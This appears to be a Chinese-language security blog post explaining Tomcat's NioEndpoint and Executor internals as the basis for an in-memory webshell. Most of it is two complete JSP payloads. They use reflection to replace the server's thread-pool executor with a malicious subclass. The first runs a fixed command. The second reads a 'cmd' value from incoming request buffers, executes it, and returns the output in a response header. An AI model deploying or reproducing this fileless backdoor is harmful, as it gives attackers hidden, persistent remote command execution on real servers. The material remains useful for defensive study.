Executor Memory Shell
前置知识
通过对之前Tomcat的整体架构的学习,可以知道一个Tomcat中是有一个Server,一个Server下有好几个Service,一个Service有多个Connector和一个Container,Connector是负责处理连接相关的事情,Container用于封装和管理Servlet和处理Request请求。
Connector架构分析
在Connector和Container的关系中说到,Connector是接收请求并且把他封装成Request和Response,然后交给Container处理,Container处理完以后返回给客户端,具体过程如下
请求来到Connector中,用ProtocolHandler来处理请求,不同的ProtocolHandler代表不同的连接类型。Http11Protocol使用的是普通Socket来连接的,Http11NioProtocol使用的是NioSocket来连接的。
ProtocolHandler又包含三部分,分别是Endpoint,Processor和adapeter。Endpoint用来处理底层Socket的网络连接,Processor把Endpoint接收到的Socket封装成Request,Adapter把Request交给Container进行具体的处理。
NioEndpoint
Endpoint五大组件:
- LimitLatch:连接控制器,负责控制最大的连接数
- Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller
- Poller:可以将其看成是NIO中Selector,负责监控Channel的状态
- SocketProcessor:可以看成是一个被封装的任务类
- Executor:Tomcat自己扩展的线程池,用来执行任务类
直接来看org.apache.tomcat.util.net.NioEndpoint.Poller
,直接来看他的run方法,通过调用events方法,来判断是否还有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后不断轮询所有注册过的Channel查看是否有事件发生。当有事件发生时,则调用SocketProcessor交给Executor执行。
public class Poller implements Runnable {
.....
public void run() {
// Loop until destroy() is called
while (true) {
boolean hasEvents = false;
try {
if (!close) {
hasEvents = events();
if (wakeupCounter.getAndSet(-1) > 0) {
// If we are here, means we have other stuff to do
// Do a non blocking select
keyCount = selector.selectNow();
} else {
keyCount = selector.select(selectorTimeout);
}
wakeupCounter.set(0);
}
if (close) {
events();
timeout(0, false);
try {
selector.close();
} catch (IOException ioe) {
log.error(sm.getString("endpoint.nio.selectorCloseFail"), ioe);
}
break;
}
// Either we timed out or we woke up, process events first
if (keyCount == 0) {
hasEvents = (hasEvents | events());
}
} catch (Throwable x) {
ExceptionUtils.handleThrowable(x);
log.error(sm.getString("endpoint.nio.selectorLoopError"), x);
continue;
}
Iterator<SelectionKey> iterator =
keyCount > 0 ? selector.selectedKeys().iterator() : null;
// Walk through the collection of ready keys and dispatch
// any active event.
while (iterator != null && iterator.hasNext()) {
SelectionKey sk = iterator.next();
iterator.remove();
NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();
// Attachment may be null if another thread has called
// cancelledKey()
if (socketWrapper != null) {
processKey(sk, socketWrapper);
}
}
// Process timeouts
timeout(keyCount,hasEvents);
}
getStopLatch().countDown();
}
.....
}
然后来看processKey方法,processKey()这个方法主要通过调用processSocket()方法创建一个SocketProcessor,然后丢到Tomcat线程池中去执行。每个Endpoint都有自己的SocketProcessor实现,从Endpoint的属性中可以看到,这个Processor也有缓存机制。 总结一下Poller所做的事:遍历PollerEvents队列,将每个事件中的通道感兴趣的事件注册到Selector,当事件就绪时,创建一个SocketProcessor或者从缓存中取出一个SocketProcessor,然后放到线程池执行或者直接执行它的run方法执行。
Executor
public interface Executor {
void execute(Runnable command);
}
在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。
这里是直接实例化EndPoint自己启动的TreadPoolExecutor类,所以我们恶意的Executor只需要继承这个类即可,来看看execute方法
@Override
public void execute(Runnable command) {
execute(command,0,TimeUnit.MILLISECONDS);
}
所以我们只需要新建一个类继承自这个TreadPoolExecutor类,然后把恶意的逻辑重写到execute方法即可。
此外,他还有一个setExecutor方法,可以直接设置Executor,所以我们只需要获取到NioEndpoint然后调用setExecutor方法把恶意类设置进去即可。
public void setExecutor(Executor executor) {
this.executor = executor;
this.internalExecutor = (executor == null);
}
正文
上文说到,我们只需要构造一个继承自TreadPoolExecutor类的恶意类,然后重写恶意逻辑到execute方法。所以最简单的内存马就可以写好了,主要的问题就是获取NioEndpoint对象。
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.concurrent.RejectedExecutionHandler" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
}
}
}
return new Object();
}
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
@Override
public void execute(Runnable command) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
那么这样的话我们只能执行固定的命令,如果说需要交互的话,还需要我们进一步的处理。我们可以通过把命令放到请求头里来实现交互。这时候就需要我们去获取到Response和Request,在@bluE0中说到,NioEndpoint中的nioChannels的appReadBufHandler其中的Buffer存放着我们所需要的request,这里直接引用@bluE0师傅的图。所以我们只需要从NioEndpoint的nioChannels的appReadBufHandler获取命令即可
除了交互式,我们还需要让他回显,具体也还是看@bluE0师傅在先知发的文章,将命令执行的结果提前放入Tomcat的response,通过Acceptor的endpoint属性的handler属性的global属性的processors属性获取到一个RequestInfo的ArrayList,然后遍历,获取RequestInfo,从RequestInfo的req属性的response属性获取response对象,然后调用addHeader方法来实现回显
最后的jsp的内存马如下
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.concurrent.RejectedExecutionHandler" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
//Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String a = new String(heapByteBuffer.array(), "UTF-8");
if (a.indexOf("cmd") > -1) {
System.out.println(a.indexOf("cmd"));
System.out.println(a.indexOf("\r", a.indexOf("cmd")) - 1);
String b = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")) - 1);
return b;
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
public void getResponse(byte[] res) {
System.out.println(1);
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
System.out.println("res:"+new String(res, "UTF-8"));
response.addHeader("Server-token", new String(res, "UTF-8"));
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
@Override
public void execute(Runnable command) {
// System.out.println("123");
String cmd = getRequest();
System.out.println("cmd"+cmd);
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
问题
该内存马会存在个问题,就是需要多次请求才能执行到指定的命令,后续还会再研究,先丢着。感谢@bulE0师傅的文章给我学习的机会